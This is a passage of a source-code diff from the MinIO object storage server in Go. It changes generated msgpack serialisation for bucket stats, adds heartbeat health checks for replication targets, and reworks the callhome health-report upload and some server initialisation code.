-			field, bts, err = msgp.ReadMapKeyZC(bts)
+		switch msgp.UnsafeString(field) {
+		case "Stats":
+			var zb0002 uint32
+			zb0002, bts, err = msgp.ReadMapHeaderBytes(bts)
 			if err != nil {
-				err = msgp.WrapError(err, zb0001)
+				err = msgp.WrapError(err, "Stats")
 				return
 			}
-			switch msgp.UnsafeString(field) {
-			case "ReplicationStats":
-				bts, err = zb0002.ReplicationStats.UnmarshalMsg(bts)
-				if err != nil {
-					err = msgp.WrapError(err, zb0001, "ReplicationStats")
-					return
-				}
-			default:
-				bts, err = msgp.Skip(bts)
-				if err != nil {
-					err = msgp.WrapError(err, zb0001)
-					return
+			if z.Stats == nil {
+				z.Stats = make(map[string]BucketStats, zb0002)
+			} else if len(z.Stats) > 0 {
+				for key := range z.Stats {
+					delete(z.Stats, key)
 				}
 			}
+			for zb0002 > 0 {
+				var za0001 string
+				var za0002 BucketStats
+				zb0002--
+				za0001, bts, err = msgp.ReadStringBytes(bts)
+				if err != nil {
+					err = msgp.WrapError(err, "Stats")
+					return
+				}
+				var zb0003 uint32
+				zb0003, bts, err = msgp.ReadMapHeaderBytes(bts)
+				if err != nil {
+					err = msgp.WrapError(err, "Stats", za0001)
+					return
+				}
+				for zb0003 > 0 {
+					zb0003--
+					field, bts, err = msgp.ReadMapKeyZC(bts)
+					if err != nil {
+						err = msgp.WrapError(err, "Stats", za0001)
+						return
+					}
+					switch msgp.UnsafeString(field) {
+					case "ReplicationStats":
+						bts, err = za0002.ReplicationStats.UnmarshalMsg(bts)
+						if err != nil {
+							err = msgp.WrapError(err, "Stats", za0001, "ReplicationStats")
+							return
+						}
+					default:
+						bts, err = msgp.Skip(bts)
+						if err != nil {
+							err = msgp.WrapError(err, "Stats", za0001)
+							return
+						}
+					}
+				}
+				z.Stats[za0001] = za0002
+			}
+		case "Timestamp":
+			z.Timestamp, bts, err = msgp.ReadTimeBytes(bts)
+			if err != nil {
+				err = msgp.WrapError(err, "Timestamp")
+				return
+			}
+		default:
+			bts, err = msgp.Skip(bts)
+			if err != nil {
+				err = msgp.WrapError(err)
+				return
+			}
 		}
-		(*z)[zb0001] = zb0002
 	}
 	o = bts
 	return
 }

 // Msgsize returns an upper bound estimate of the number of bytes occupied by the serialized message
-func (z BucketStatsMap) Msgsize() (s int) {
-	s = msgp.MapHeaderSize
-	if z != nil {
-		for zb0005, zb0006 := range z {
-			_ = zb0006
-			s += msgp.StringPrefixSize + len(zb0005) + 1 + 17 + zb0006.ReplicationStats.Msgsize()
+func (z *BucketStatsMap) Msgsize() (s int) {
+	s = 1 + 6 + msgp.MapHeaderSize
+	if z.Stats != nil {
+		for za0001, za0002 := range z.Stats {
+			_ = za0002
+			s += msgp.StringPrefixSize + len(za0001) + 1 + 17 + za0002.ReplicationStats.Msgsize()
 		}
 	}
+	s += 10 + msgp.TimeSize
 	return
 }

@@ -19,24 +19,25 @@ package cmd

 import (
 	"context"
-	"net/http"
+	"fmt"
+	"net/url"
 	"sync"
 	"time"

 	jsoniter "github.com/json-iterator/go"
-	"github.com/minio/madmin-go"
-	minio "github.com/minio/minio-go/v7"
-	miniogo "github.com/minio/minio-go/v7"
+	"github.com/minio/madmin-go/v2"
+	"github.com/minio/minio-go/v7"
 	"github.com/minio/minio-go/v7/pkg/credentials"
 	"github.com/minio/minio/internal/bucket/replication"
-	"github.com/minio/minio/internal/bucket/versioning"
 	"github.com/minio/minio/internal/crypto"
 	"github.com/minio/minio/internal/kms"
 	"github.com/minio/minio/internal/logger"
 )

 const (
-	defaultHealthCheckDuration = 30 * time.Second
+	defaultHealthCheckDuration = 5 * time.Second
+	// default interval for reload of all remote target endpoints
+	defaultHealthCheckReloadDuration = 30 * time.Minute
 )

 // BucketTargetSys represents bucket targets subsystem
@@ -44,6 +45,109 @@ type BucketTargetSys struct {
 	sync.RWMutex
 	arnRemotesMap map[string]*TargetClient
 	targetsMap    map[string][]madmin.BucketTarget
+	hMutex        sync.RWMutex
+	hc            map[string]epHealth
+	hcClient      *madmin.AnonymousClient
+}
+
+// epHealth struct represents health of a replication target endpoint.
+type epHealth struct {
+	Endpoint string
+	Scheme   string
+	Online   bool
+}
+
+// isOffline returns current liveness result of remote target. Add endpoint to
+// healthcheck map if missing and default to online status
+func (sys *BucketTargetSys) isOffline(ep *url.URL) bool {
+	sys.hMutex.RLock()
+	defer sys.hMutex.RUnlock()
+	if h, ok := sys.hc[ep.Host]; ok {
+		return !h.Online
+	}
+	go sys.initHC(ep)
+	return false
+}
+
+func (sys *BucketTargetSys) initHC(ep *url.URL) {
+	sys.hMutex.Lock()
+	sys.hc[ep.Host] = epHealth{
+		Endpoint: ep.Host,
+		Scheme:   ep.Scheme,
+		Online:   true,
+	}
+	sys.hMutex.Unlock()
+}
+
+// newHCClient initializes an anonymous client for performing health check on the remote endpoints
+func newHCClient() *madmin.AnonymousClient {
+	clnt, e := madmin.NewAnonymousClientNoEndpoint()
+	if e != nil {
+		logger.LogOnceIf(GlobalContext, fmt.Errorf("WARNING: Unable to initialize health check client"), string(replicationSubsystem))
+		return nil
+	}
+	clnt.SetCustomTransport(globalRemoteTargetTransport)
+	return clnt
+}
+
+// heartBeat performs liveness check on remote endpoints.
+func (sys *BucketTargetSys) heartBeat(ctx context.Context) {
+	hcTimer := time.NewTimer(defaultHealthCheckDuration)
+	defer hcTimer.Stop()
+	for {
+		select {
+		case <-hcTimer.C:
+			sys.hMutex.RLock()
+			eps := make([]madmin.ServerProperties, 0, len(sys.hc))
+			for _, ep := range sys.hc {
+				eps = append(eps, madmin.ServerProperties{Endpoint: ep.Endpoint, Scheme: ep.Scheme})
+			}
+			sys.hMutex.RUnlock()
+
+			if len(eps) > 0 {
+				cctx, cancel := context.WithTimeout(ctx, 30*time.Second)
+				m := make(map[string]epHealth, len(eps))
+				for result := range sys.hcClient.Alive(cctx, madmin.AliveOpts{}, eps...) {
+					m[result.Endpoint.Host] = epHealth{
+						Endpoint: result.Endpoint.Host,
+						Scheme:   result.Endpoint.Scheme,
+						Online:   result.Online,
+					}
+				}
+				cancel()
+				sys.hMutex.Lock()
+				sys.hc = m
+				sys.hMutex.Unlock()
+			}
+			hcTimer.Reset(defaultHealthCheckDuration)
+		case <-ctx.Done():
+			return
+		}
+	}
+}
+
+// periodically rebuild the healthcheck map from list of targets to clear
+// out stale endpoints
+func (sys *BucketTargetSys) reloadHealthCheckers(ctx context.Context) {
+	m := make(map[string]epHealth)
+	tgts := sys.ListTargets(ctx, "", "")
+	for _, t := range tgts {
+		if _, ok := m[t.Endpoint]; !ok {
+			scheme := "http"
+			if t.Secure {
+				scheme = "https"
+			}
+			m[t.Endpoint] = epHealth{
+				Online:   true,
+				Endpoint: t.Endpoint,
+				Scheme:   scheme,
+			}
+		}
+	}
+	sys.hMutex.Lock()
+	// swap out the map
+	sys.hc = m
+	sys.hMutex.Unlock()
 }

 // ListTargets lists bucket targets across tenant or for individual bucket, and returns
@@ -92,9 +196,6 @@ func (sys *BucketTargetSys) Delete(bucket string) {
 		return
 	}
 	for _, t := range tgts {
-		if tgt, ok := sys.arnRemotesMap[t.Arn]; ok && tgt.healthCancelFn != nil {
-			tgt.healthCancelFn()
-		}
 		delete(sys.arnRemotesMap, t.Arn)
 	}
 	delete(sys.targetsMap, bucket)
@@ -102,9 +203,6 @@ func (sys *BucketTargetSys) Delete(bucket string) {

 // SetTarget - sets a new minio-go client target for this bucket.
 func (sys *BucketTargetSys) SetTarget(ctx context.Context, bucket string, tgt *madmin.BucketTarget, update bool) error {
-	if globalIsGateway {
-		return nil
-	}
 	if !tgt.Type.IsValid() && !update {
 		return BucketRemoteArnTypeInvalid{Bucket: bucket}
 	}
@@ -113,11 +211,18 @@ func (sys *BucketTargetSys) SetTarget(ctx context.Context, bucket string, tgt *m
 		return BucketRemoteTargetNotFound{Bucket: tgt.TargetBucket}
 	}
 	// validate if target credentials are ok
-	if _, err = clnt.BucketExists(ctx, tgt.TargetBucket); err != nil {
-		if minio.ToErrorResponse(err).Code == "NoSuchBucket" {
+	exists, err := clnt.BucketExists(ctx, tgt.TargetBucket)
+	if err != nil {
+		switch minio.ToErrorResponse(err).Code {
+		case "NoSuchBucket":
 			return BucketRemoteTargetNotFound{Bucket: tgt.TargetBucket}
+		case "AccessDenied":
+			return RemoteTargetConnectionErr{Bucket: tgt.TargetBucket, AccessKey: tgt.Credentials.AccessKey, Err: err}
 		}
-		return BucketRemoteConnectionErr{Bucket: tgt.TargetBucket, Err: err}
+		return RemoteTargetConnectionErr{Bucket: tgt.TargetBucket, AccessKey: tgt.Credentials.AccessKey, Err: err}
+	}
+	if !exists {
+		return BucketRemoteTargetNotFound{Bucket: tgt.TargetBucket}
 	}
 	if tgt.Type == madmin.ReplicationService {
 		if !globalBucketVersioningSys.Enabled(bucket) {
@@ -125,9 +230,9 @@ func (sys *BucketTargetSys) SetTarget(ctx context.Context, bucket string, tgt *m
 		}
 		vcfg, err := clnt.GetBucketVersioning(ctx, tgt.TargetBucket)
 		if err != nil {
-			return BucketRemoteConnectionErr{Bucket: tgt.TargetBucket, Err: err}
+			return RemoteTargetConnectionErr{Bucket: tgt.TargetBucket, Err: err, AccessKey: tgt.Credentials.AccessKey}
 		}
-		if vcfg.Status != string(versioning.Enabled) {
+		if !vcfg.Enabled() {
 			return BucketRemoteTargetNotVersioned{Bucket: tgt.TargetBucket}
 		}
 	}
@@ -147,41 +252,35 @@ func (sys *BucketTargetSys) SetTarget(ctx context.Context, bucket string, tgt *m
 				found = true
 				continue
 			}
+			// fail if endpoint is already present in list of targets and not a matching ARN
+			if t.Endpoint == tgt.Endpoint {
+				return BucketRemoteAlreadyExists{Bucket: t.TargetBucket}
+			}
 		}
 		newtgts[idx] = t
 	}
 	if !found && !update {
 		newtgts = append(newtgts, *tgt)
 	}
-	// cancel health check for previous target client to avoid leak.
-	if prevClnt, ok := sys.arnRemotesMap[tgt.Arn]; ok && prevClnt.healthCancelFn != nil {
-		prevClnt.healthCancelFn()
-	}
+
 	sys.targetsMap[bucket] = newtgts
 	sys.arnRemotesMap[tgt.Arn] = clnt
-	sys.updateBandwidthLimit(bucket, tgt.BandwidthLimit)
+	sys.updateBandwidthLimit(bucket, tgt.Arn, tgt.BandwidthLimit)
 	return nil
 }

-func (sys *BucketTargetSys) updateBandwidthLimit(bucket string, limit int64) {
-	if globalIsGateway {
-		return
-	}
+func (sys *BucketTargetSys) updateBandwidthLimit(bucket, arn string, limit int64) {
 	if limit == 0 {
-		globalBucketMonitor.DeleteBucket(bucket)
+		globalBucketMonitor.DeleteBucketThrottle(bucket, arn)
 		return
 	}
 	// Setup bandwidth throttling

-	globalBucketMonitor.SetBandwidthLimit(bucket, limit)
+	globalBucketMonitor.SetBandwidthLimit(bucket, arn, limit)
 }

 // RemoveTarget - removes a remote bucket target for this source bucket.
 func (sys *BucketTargetSys) RemoveTarget(ctx context.Context, bucket, arnStr string) error {
-	if globalIsGateway {
-		return nil
-	}
-
 	if arnStr == "" {
 		return BucketRemoteArnInvalid{Bucket: bucket}
 	}
@@ -228,11 +327,8 @@ func (sys *BucketTargetSys) RemoveTarget(ctx context.Context, bucket, arnStr str
 		return BucketRemoteTargetNotFound{Bucket: bucket}
 	}
 	sys.targetsMap[bucket] = targets
-	if tgt, ok := sys.arnRemotesMap[arnStr]; ok && tgt.healthCancelFn != nil {
-		tgt.healthCancelFn()
-	}
 	delete(sys.arnRemotesMap, arnStr)
-	sys.updateBandwidthLimit(bucket, 0)
+	sys.updateBandwidthLimit(bucket, arnStr, 0)
 	return nil
 }

@@ -259,11 +355,29 @@ func (sys *BucketTargetSys) GetRemoteBucketTargetByArn(ctx context.Context, buck
 }

 // NewBucketTargetSys - creates new replication system.
-func NewBucketTargetSys() *BucketTargetSys {
-	return &BucketTargetSys{
+func NewBucketTargetSys(ctx context.Context) *BucketTargetSys {
+	sys := &BucketTargetSys{
 		arnRemotesMap: make(map[string]*TargetClient),
 		targetsMap:    make(map[string][]madmin.BucketTarget),
+		hc:            make(map[string]epHealth),
+		hcClient:      newHCClient(),
 	}
+	// reload healthcheck endpoints map periodically to remove stale endpoints from the map.
+	go func() {
+		rTimer := time.NewTimer(defaultHealthCheckReloadDuration)
+		defer rTimer.Stop()
+		for {
+			select {
+			case <-rTimer.C:
+				sys.reloadHealthCheckers(ctx)
+				rTimer.Reset(defaultHealthCheckReloadDuration)
+			case <-ctx.Done():
+				return
+			}
+		}
+	}()
+	go sys.heartBeat(ctx)
+	return sys
 }

 // UpdateAllTargets updates target to reflect metadata updates
@@ -273,18 +387,18 @@ func (sys *BucketTargetSys) UpdateAllTargets(bucket string, tgts *madmin.BucketT
 	}
 	sys.Lock()
 	defer sys.Unlock()
-	if tgts == nil || tgts.Empty() {
-		// remove target and arn association
-		if tgts, ok := sys.targetsMap[bucket]; ok {
-			for _, t := range tgts {
-				if tgt, ok := sys.arnRemotesMap[t.Arn]; ok && tgt.healthCancelFn != nil {
-					tgt.healthCancelFn()
-				}
-				delete(sys.arnRemotesMap, t.Arn)
-			}
+
+	// Remove existingtarget and arn association
+	if tgts, ok := sys.targetsMap[bucket]; ok {
+		for _, t := range tgts {
+			delete(sys.arnRemotesMap, t.Arn)
 		}
 		delete(sys.targetsMap, bucket)
-		sys.updateBandwidthLimit(bucket, 0)
+	}
+
+	// No need for more if not adding anything
+	if tgts == nil || tgts.Empty() {
+		globalBucketMonitor.DeleteBucket(bucket)
 		return
 	}

@@ -297,7 +411,7 @@ func (sys *BucketTargetSys) UpdateAllTargets(bucket string, tgts *madmin.BucketT
 			continue
 		}
 		sys.arnRemotesMap[tgt.Arn] = tgtClient
-		sys.updateBandwidthLimit(bucket, tgt.BandwidthLimit)
+		sys.updateBandwidthLimit(bucket, tgt.Arn, tgt.BandwidthLimit)
 	}
 	sys.targetsMap[bucket] = tgts.Targets
 }
@@ -320,30 +434,21 @@ func (sys *BucketTargetSys) set(bucket BucketInfo, meta BucketMetadata) {
 			continue
 		}
 		sys.arnRemotesMap[tgt.Arn] = tgtClient
-		sys.updateBandwidthLimit(bucket.Name, tgt.BandwidthLimit)
+		sys.updateBandwidthLimit(bucket.Name, tgt.Arn, tgt.BandwidthLimit)
 	}
 	sys.targetsMap[bucket.Name] = cfg.Targets
 }

-// getRemoteTargetInstanceTransport contains a singleton roundtripper.
-var (
-	getRemoteTargetInstanceTransport     http.RoundTripper
-	getRemoteTargetInstanceTransportOnce sync.Once
-)
-
 // Returns a minio-go Client configured to access remote host described in replication target config.
 func (sys *BucketTargetSys) getRemoteTargetClient(tcfg *madmin.BucketTarget) (*TargetClient, error) {
 	config := tcfg.Credentials
 	creds := credentials.NewStaticV4(config.AccessKey, config.SecretKey, "")
-	getRemoteTargetInstanceTransportOnce.Do(func() {
-		getRemoteTargetInstanceTransport = NewRemoteTargetHTTPTransport()
-	})

-	api, err := minio.New(tcfg.Endpoint, &miniogo.Options{
+	api, err := minio.New(tcfg.Endpoint, &minio.Options{
 		Creds:     creds,
 		Secure:    tcfg.Secure,
 		Region:    tcfg.Region,
-		Transport: getRemoteTargetInstanceTransport,
+		Transport: globalRemoteTargetTransport,
 	})
 	if err != nil {
 		return nil, err
@@ -352,10 +457,6 @@ func (sys *BucketTargetSys) getRemoteTargetClient(tcfg *madmin.BucketTarget) (*T
 	if tcfg.HealthCheckDuration >= 1 { // require minimum health check duration of 1 sec.
 		hcDuration = tcfg.HealthCheckDuration
 	}
-	cancelFn, err := api.HealthCheck(hcDuration)
-	if err != nil {
-		return nil, err
-	}
 	tc := &TargetClient{
 		Client:              api,
 		healthCheckDuration: hcDuration,
@@ -363,28 +464,45 @@ func (sys *BucketTargetSys) getRemoteTargetClient(tcfg *madmin.BucketTarget) (*T
 		Bucket:              tcfg.TargetBucket,
 		StorageClass:        tcfg.StorageClass,
 		disableProxy:        tcfg.DisableProxy,
-		healthCancelFn:      cancelFn,
 		ARN:                 tcfg.Arn,
 		ResetID:             tcfg.ResetID,
+		Endpoint:            tcfg.Endpoint,
+		Secure:              tcfg.Secure,
 	}
 	return tc, nil
 }

 // getRemoteARN gets existing ARN for an endpoint or generates a new one.
-func (sys *BucketTargetSys) getRemoteARN(bucket string, target *madmin.BucketTarget) string {
+func (sys *BucketTargetSys) getRemoteARN(bucket string, target *madmin.BucketTarget) (arn string, exists bool) {
 	if target == nil {
-		return ""
+		return
 	}
 	tgts := sys.targetsMap[bucket]
 	for _, tgt := range tgts {
-		if tgt.Type == target.Type && tgt.TargetBucket == target.TargetBucket && target.URL().String() == tgt.URL().String() {
-			return tgt.Arn
+		if tgt.Type == target.Type && tgt.TargetBucket == target.TargetBucket && target.URL().String() == tgt.URL().String() && tgt.Credentials.AccessKey == target.Credentials.AccessKey {
+			return tgt.Arn, true
 		}
 	}
 	if !target.Type.IsValid() {
-		return ""
+		return
 	}
-	return generateARN(target)
+	return generateARN(target), false
+}
+
+// getRemoteARNForPeer returns the remote target for a peer site in site replication
+func (sys *BucketTargetSys) getRemoteARNForPeer(bucket string, peer madmin.PeerInfo) string {
+	tgts := sys.targetsMap[bucket]
+	for _, target := range tgts {
+		ep, _ := url.Parse(peer.Endpoint)
+		if target.SourceBucket == bucket &&
+			target.TargetBucket == bucket &&
+			target.Endpoint == ep.Host &&
+			target.Secure == (ep.Scheme == "https") &&
+			target.Type == madmin.ReplicationService {
+			return target.Arn
+		}
+	}
+	return ""
 }

 // generate ARN that is unique to this target type
@@ -433,13 +551,14 @@ func parseBucketTargetConfig(bucket string, cdata, cmetadata []byte) (*madmin.Bu

 // TargetClient is the struct for remote target client.
 type TargetClient struct {
-	*miniogo.Client
+	*minio.Client
 	healthCheckDuration time.Duration
 	Bucket              string // remote bucket target
 	replicateSync       bool
 	StorageClass        string // storage class on remote
 	disableProxy        bool
-	healthCancelFn      context.CancelFunc // cancellation function for client healthcheck
-	ARN                 string             // ARN to uniquely identify remote target
+	ARN                 string // ARN to uniquely identify remote target
 	ResetID             string
+	Endpoint            string
+	Secure              bool
 }
@@ -24,10 +24,10 @@ import (
 	"net/http"

 	humanize "github.com/dustin/go-humanize"
-	"github.com/gorilla/mux"
-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio/internal/bucket/versioning"
 	"github.com/minio/minio/internal/logger"
+	"github.com/minio/mux"
 	"github.com/minio/pkg/bucket/policy"
 )

@@ -97,7 +97,8 @@ func (api objectAPIHandlers) PutBucketVersioningHandler(w http.ResponseWriter, r
 		return
 	}

-	if err = globalBucketMetadataSys.Update(ctx, bucket, bucketVersioningConfig, configData); err != nil {
+	updatedAt, err := globalBucketMetadataSys.Update(ctx, bucket, bucketVersioningConfig, configData)
+	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -107,14 +108,12 @@ func (api objectAPIHandlers) PutBucketVersioningHandler(w http.ResponseWriter, r
 	// We encode the xml bytes as base64 to ensure there are no encoding
 	// errors.
 	cfgStr := base64.StdEncoding.EncodeToString(configData)
-	if err = globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
+	logger.LogIf(ctx, globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
 		Type:       madmin.SRBucketMetaTypeVersionConfig,
 		Bucket:     bucket,
 		Versioning: &cfgStr,
-	}); err != nil {
-		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
-		return
-	}
+		UpdatedAt:  updatedAt,
+	}))

 	writeSuccessResponseHeadersOnly(w)
 }
@@ -141,7 +140,7 @@ func (api objectAPIHandlers) GetBucketVersioningHandler(w http.ResponseWriter, r
 	}

 	// Check if bucket exists.
-	if _, err := objectAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -69,11 +69,6 @@ func (sys *BucketVersioningSys) PrefixSuspended(bucket, prefix string) bool {

 // Get returns stored bucket policy
 func (sys *BucketVersioningSys) Get(bucket string) (*versioning.Versioning, error) {
-	if globalIsGateway {
-		// Gateway does not implement versioning.
-		return &versioning.Versioning{XMLNS: "http://s3.amazonaws.com/doc/2006-03-01/"}, nil
-	}
-
 	if bucket == minioMetaBucket || strings.HasPrefix(bucket, minioMetaBucket) {
 		return &versioning.Versioning{XMLNS: "http://s3.amazonaws.com/doc/2006-03-01/"}, nil
 	}
@@ -1,4 +1,4 @@
-// Copyright (c) 2015-2021 MinIO, Inc.
+// Copyright (c) 2015-2022 MinIO, Inc.
 //
 // This file is part of MinIO Object Storage stack
 //
@@ -37,4 +37,7 @@ var (

 	// ShortCommitID - first 12 characters from CommitID.
 	ShortCommitID = "DEVELOPMENT.GOGET"
+
+	// CopyrightYear - dynamic value of the copyright end year
+	CopyrightYear = "0000"
 )
@@ -18,53 +18,28 @@
 package cmd

 import (
+	"bytes"
+	"compress/gzip"
 	"context"
+	"encoding/json"
+	"errors"
 	"fmt"
 	"math/rand"
+	"net/url"
 	"time"

-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio/internal/logger"
-	uatomic "go.uber.org/atomic"
 )

-const (
-	// callhomeSchemaVersion1 is callhome schema version 1
-	callhomeSchemaVersion1 = "1"
-
-	// callhomeSchemaVersion is current callhome schema version.
-	callhomeSchemaVersion = callhomeSchemaVersion1
-
-	// callhomeCycleDefault is the default interval between two callhome cycles (24hrs)
-	callhomeCycleDefault = 24 * time.Hour
-)
-
-// CallhomeInfo - Contains callhome information
-type CallhomeInfo struct {
-	SchemaVersion string             `json:"schema_version"`
-	AdminInfo     madmin.InfoMessage `json:"admin_info"`
-}
-
-var (
-	enableCallhome            = uatomic.NewBool(false)
-	callhomeLeaderLockTimeout = newDynamicTimeout(30*time.Second, 10*time.Second)
-	callhomeFreq              = uatomic.NewDuration(callhomeCycleDefault)
-)
-
-func updateCallhomeParams(ctx context.Context, objAPI ObjectLayer) {
-	alreadyEnabled := enableCallhome.Load()
-	enableCallhome.Store(globalCallhomeConfig.Enable)
-	callhomeFreq.Store(globalCallhomeConfig.Frequency)
-
-	// If callhome was disabled earlier and has now been enabled,
-	// initialize the callhome process again.
-	if !alreadyEnabled && enableCallhome.Load() {
-		initCallhome(ctx, objAPI)
-	}
-}
+var callhomeLeaderLockTimeout = newDynamicTimeout(30*time.Second, 10*time.Second)

 // initCallhome will start the callhome task in the background.
 func initCallhome(ctx context.Context, objAPI ObjectLayer) {
+	if !globalCallhomeConfig.Enabled() {
+		return
+	}
+
 	go func() {
 		r := rand.New(rand.NewSource(time.Now().UnixNano()))
 		// Leader node (that successfully acquires the lock inside runCallhome)
@@ -72,65 +47,154 @@ func initCallhome(ctx context.Context, objAPI ObjectLayer) {
 		// the lock will be released and another node will acquire it and take over
 		// because of this loop.
 		for {
-			runCallhome(ctx, objAPI)
-			if !enableCallhome.Load() {
+			if !globalCallhomeConfig.Enabled() {
+				return
+			}
+
+			if !runCallhome(ctx, objAPI) {
+				// callhome was disabled or context was canceled
 				return
 			}

 			// callhome running on a different node.
 			// sleep for some time and try again.
-			duration := time.Duration(r.Float64() * float64(callhomeFreq.Load()))
+			duration := time.Duration(r.Float64() * float64(globalCallhomeConfig.FrequencyDur()))
 			if duration < time.Second {
 				// Make sure to sleep atleast a second to avoid high CPU ticks.
 				duration = time.Second
 			}
 			time.Sleep(duration)
-
-			if !enableCallhome.Load() {
-				return
-			}
 		}
 	}()
 }

-func runCallhome(ctx context.Context, objAPI ObjectLayer) {
+func runCallhome(ctx context.Context, objAPI ObjectLayer) bool {
 	// Make sure only 1 callhome is running on the cluster.
 	locker := objAPI.NewNSLock(minioMetaBucket, "callhome/runCallhome.lock")
 	lkctx, err := locker.GetLock(ctx, callhomeLeaderLockTimeout)
 	if err != nil {
-		return
+		// lock timedout means some other node is the leader,
+		// cycle back return 'true'
+		return true
 	}

 	ctx = lkctx.Context()
-	defer locker.Unlock(lkctx.Cancel)
+	defer locker.Unlock(lkctx)

-	callhomeTimer := time.NewTimer(callhomeFreq.Load())
+	callhomeTimer := time.NewTimer(globalCallhomeConfig.FrequencyDur())
 	defer callhomeTimer.Stop()

 	for {
+		if !globalCallhomeConfig.Enabled() {
+			// Stop the processing as callhome got disabled
+			return false
+		}
+
 		select {
 		case <-ctx.Done():
-			return
+			// indicates that we do not need to run callhome anymore
+			return false
 		case <-callhomeTimer.C:
-			if !enableCallhome.Load() {
+			if !globalCallhomeConfig.Enabled() {
 				// Stop the processing as callhome got disabled
-				return
+				return false
 			}
+
 			performCallhome(ctx)

 			// Reset the timer for next cycle.
-			callhomeTimer.Reset(callhomeFreq.Load())
+			callhomeTimer.Reset(globalCallhomeConfig.FrequencyDur())
 		}
 	}
 }

 func performCallhome(ctx context.Context) {
-	err := sendCallhomeInfo(
-		CallhomeInfo{
-			SchemaVersion: callhomeSchemaVersion,
-			AdminInfo:     getServerInfo(ctx, nil),
-		})
-	if err != nil {
-		logger.LogIf(ctx, fmt.Errorf("Unable to perform callhome: %w", err))
+	deadline := 10 * time.Second // Default deadline is 10secs for callhome
+	objectAPI := newObjectLayerFn()
+	if objectAPI == nil {
+		logger.LogIf(ctx, errors.New("Callhome: object layer not ready"))
+		return
+	}
+
+	healthCtx, healthCancel := context.WithTimeout(ctx, deadline)
+	defer healthCancel()
+
+	healthInfoCh := make(chan madmin.HealthInfo)
+
+	query := url.Values{}
+	for _, k := range madmin.HealthDataTypesList {
+		query.Set(string(k), "true")
+	}
+
+	healthInfo := madmin.HealthInfo{
+		TimeStamp: time.Now().UTC(),
+		Version:   madmin.HealthInfoVersion,
+		Minio: madmin.MinioHealthInfo{
+			Info: madmin.MinioInfo{
+				DeploymentID: globalDeploymentID,
+			},
+		},
+	}
+
+	go fetchHealthInfo(healthCtx, objectAPI, &query, healthInfoCh, healthInfo)
+
+	for {
+		select {
+		case hi, hasMore := <-healthInfoCh:
+			if !hasMore {
+				// Received all data. Send to SUBNET and return
+				err := sendHealthInfo(ctx, healthInfo)
+				if err != nil {
+					logger.LogIf(ctx, fmt.Errorf("Unable to perform callhome: %w", err))
+				}
+				return
+			}
+			healthInfo = hi
+		case <-healthCtx.Done():
+			return
+		}
 	}
 }
+
+const (
+	healthURL    = "https://subnet.min.io/api/health/upload"
+	healthURLDev = "http://localhost:9000/api/health/upload"
+)
+
+func sendHealthInfo(ctx context.Context, healthInfo madmin.HealthInfo) error {
+	url := healthURL
+	if globalIsCICD {
+		url = healthURLDev
+	}
+
+	filename := fmt.Sprintf("health_%s.json.gz", UTCNow().Format("20060102150405"))
+	url += "?filename=" + filename
+
+	_, err := globalSubnetConfig.Upload(url, filename, createHealthJSONGzip(ctx, healthInfo))
+	return err
+}
+
+func createHealthJSONGzip(ctx context.Context, healthInfo madmin.HealthInfo) []byte {
+	var b bytes.Buffer
+	gzWriter := gzip.NewWriter(&b)
+
+	header := struct {
+		Version string `json:"version"`
+	}{Version: healthInfo.Version}
+
+	enc := json.NewEncoder(gzWriter)
+	if e := enc.Encode(header); e != nil {
+		logger.LogIf(ctx, fmt.Errorf("Could not encode health info header: %w", e))
+		return nil
+	}
+
+	if e := enc.Encode(healthInfo); e != nil {
+		logger.LogIf(ctx, fmt.Errorf("Could not encode health info: %w", e))
+		return nil
+	}
+
+	gzWriter.Flush()
+	gzWriter.Close()
+
+	return b.Bytes()
+}
@@ -27,7 +27,6 @@ import (
 	"encoding/pem"
 	"errors"
 	"fmt"
-	"io/ioutil"
 	"math/rand"
 	"net"
 	"net/http"
@@ -48,11 +47,12 @@ import (
 	"github.com/inconshreveable/mousetrap"
 	dns2 "github.com/miekg/dns"
 	"github.com/minio/cli"
+	consoleoauth2 "github.com/minio/console/pkg/auth/idp/oauth2"
 	consoleCerts "github.com/minio/console/pkg/certs"
 	"github.com/minio/console/restapi"
 	"github.com/minio/console/restapi/operations"
 	"github.com/minio/kes"
-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio-go/v7"
 	"github.com/minio/minio-go/v7/pkg/credentials"
 	"github.com/minio/minio-go/v7/pkg/set"
@@ -102,6 +102,11 @@ func init() {
 		PersistOnFailure: false,
 	}

+	t, _ := minioVersionToReleaseTime(Version)
+	if !t.IsZero() {
+		globalVersionUnix = uint64(t.Unix())
+	}
+
 	globalIsCICD = env.Get("MINIO_CI_CD", "") != "" || env.Get("CI", "") != ""

 	containers := IsKubernetes() || IsDocker() || IsBOSH() || IsDCOS() || IsPCFTile()
@@ -112,7 +117,8 @@ func init() {
 	go func() {
 		var t *time.Ticker
 		if containers {
-			t = time.NewTicker(1 * time.Minute)
+			// k8s DNS TTL is 30s (Attempt a refresh only after)
+			t = time.NewTicker(30 * time.Second)
 		} else {
 			t = time.NewTicker(10 * time.Minute)
 		}
@@ -129,7 +135,7 @@ func init() {

 	globalForwarder = handlers.NewForwarder(&handlers.Forwarder{
 		PassHost:     true,
-		RoundTripper: newGatewayHTTPTransport(1 * time.Hour),
+		RoundTripper: NewHTTPTransportWithTimeout(1 * time.Hour),
 		Logger: func(err error) {
 			if err != nil && !errors.Is(err, context.Canceled) {
 				logger.LogIf(GlobalContext, err)
@@ -146,7 +152,7 @@ func init() {
 	defaultAWSCredProvider = []credentials.Provider{
 		&credentials.IAM{
 			Client: &http.Client{
-				Transport: NewGatewayHTTPTransport(),
+				Transport: NewHTTPTransport(),
 			},
 		},
 	}
@@ -170,7 +176,9 @@ func minioConfigToConsoleFeatures() {
 	if globalMinioEndpoint != "" {
 		os.Setenv("CONSOLE_MINIO_SERVER", globalMinioEndpoint)
 	} else {
-		os.Setenv("CONSOLE_MINIO_SERVER", getAPIEndpoints()[0])
